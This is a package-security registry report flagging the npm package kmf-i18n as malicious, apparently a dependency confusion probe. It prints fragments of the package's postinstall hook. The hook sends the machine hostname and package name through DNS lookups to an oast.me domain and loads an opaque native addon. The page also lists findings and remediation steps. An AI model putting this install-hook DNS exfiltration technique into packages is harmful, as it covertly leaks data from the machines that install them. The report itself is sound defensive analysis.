registry / Data exfiltration / kmf-i18n

kmf-i18n

Frontend utilities

This report shows the evidence for kmf-i18n@100.100.102. 3 of 3 known versions are blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 13d ago · by lpm-firewall-ai

The automatic install hook performs covert DNS disclosure of machine and package identifiers to an unrelated domain, which is concrete data exfiltration. The bundled native addon is opaque, but is not needed to support the malicious verdict.

Static reason

One or more suspicious static signals were detected.

Trigger

Package installation runs the postinstall hook.

Impact

The DNS query discloses those identifiers to the unrelated domain; the native addon's behavior remains unknown.

Mechanism

The hook derives a DNS hostname from the machine hostname and npm package name and submits it through DNS resolution calls.

Attack narrative

During installation, the postinstall hook sends the machine hostname and package name in DNS queries to a package-unrelated oast.me domain. This is an active data-exfiltration behavior. The hook also loads an opaque native addon, which could not be inspected.

AI rationale

Evidence

package.jsonpostinstall.jsprebuilds/linux-x64/addon.node

Network endpoints1

*.db4jlbku53082dmp0d7g3mffj7s7aordk.oast.me

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

The manifest runs postinstall.js automatically during installation.
The install hook constructs a DNS name from the machine hostname and npm package name under an unrelated oast.me domain, then issues DNS lookups.
The same install hook attempts to load an opaque native addon whose behavior could not be inspected.

Evidence against

index.js only exports an empty object; it does not add a runtime behavior that explains the install-time DNS lookups.

Behavioral surface

Source

EnvironmentVars

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 2 file(s), 469 B of source

Source & flagged code

6 flagged

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node postinstall.js

High

Suspicious Lifecycle Evidence

The manifest runs postinstall.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

prebuilds/linux-x64/addon.nodeView file

•path = prebuilds/linux-x64/addon.node kind = native_binary sizeBytes = 16464 magicHex = [redacted]

Medium

Ships Native Binary

Package ships native binary artifacts.

prebuilds/linux-x64/addon.nodeView on unpkg

postinstall.jsView file

6var cb=h+'.'+p+'.[redacted].oast.me'; d.resolve4(cb,function(){}); d.resolve(cb,function(){}); } catch(e) {} try {

High

Suspicious Lifecycle Evidence

The install hook constructs a DNS name from the machine hostname and npm package name under an unrelated oast.me domain, then issues DNS lookups.

postinstall.jsView on unpkg · L6

7d.resolve4(cb,function(){}); d.resolve(cb,function(){}); } catch(e) {} try { require('./prebuilds/linux-x64/addon'); } catch(e) {} })();

High

Suspicious Lifecycle Evidence

The same install hook attempts to load an opaque native addon whose behavior could not be inspected.

postinstall.jsView on unpkg · L7

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.postinstall = node postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

7"postinstall": "node postinstall.js

High

Suspicious Lifecycle Evidence

The manifest runs postinstall.js automatically during installation.

package.jsonView on unpkg · L7

•scripts.postinstall = node postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

prebuilds/linux-x64/addon.nodeView file

Findings

4 High3 Medium1 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

HighSuspicious Lifecycle Evidencepostinstall.js

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumEnvironment Vars

MediumShips Native Binaryprebuilds/linux-x64/addon.node

LowScripts Present

Affected versions and remediation

This report applies to kmf-i18n@100.100.102.

The versions list below shows the verdict for each recorded version.

Avoid installing kmf-i18n@100.100.102. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-11 14:30:09.207Z (UTC).

Source advisory published: 2026-10-09 19:10:42.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

3 known versions

100.100.102latestshownMaliciousData ExfiltrationBlockPublishedOct 9, 2026, 7:06 PM 100.100.101MaliciousMalwareBlockPublishedOct 9, 2026, 6:49 PM 100.100.100MaliciousMalwareBlockPublishedOct 9, 2026, 6:44 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other data exfiltration packages

Related packages

Other data exfiltration packages

Source & flagged code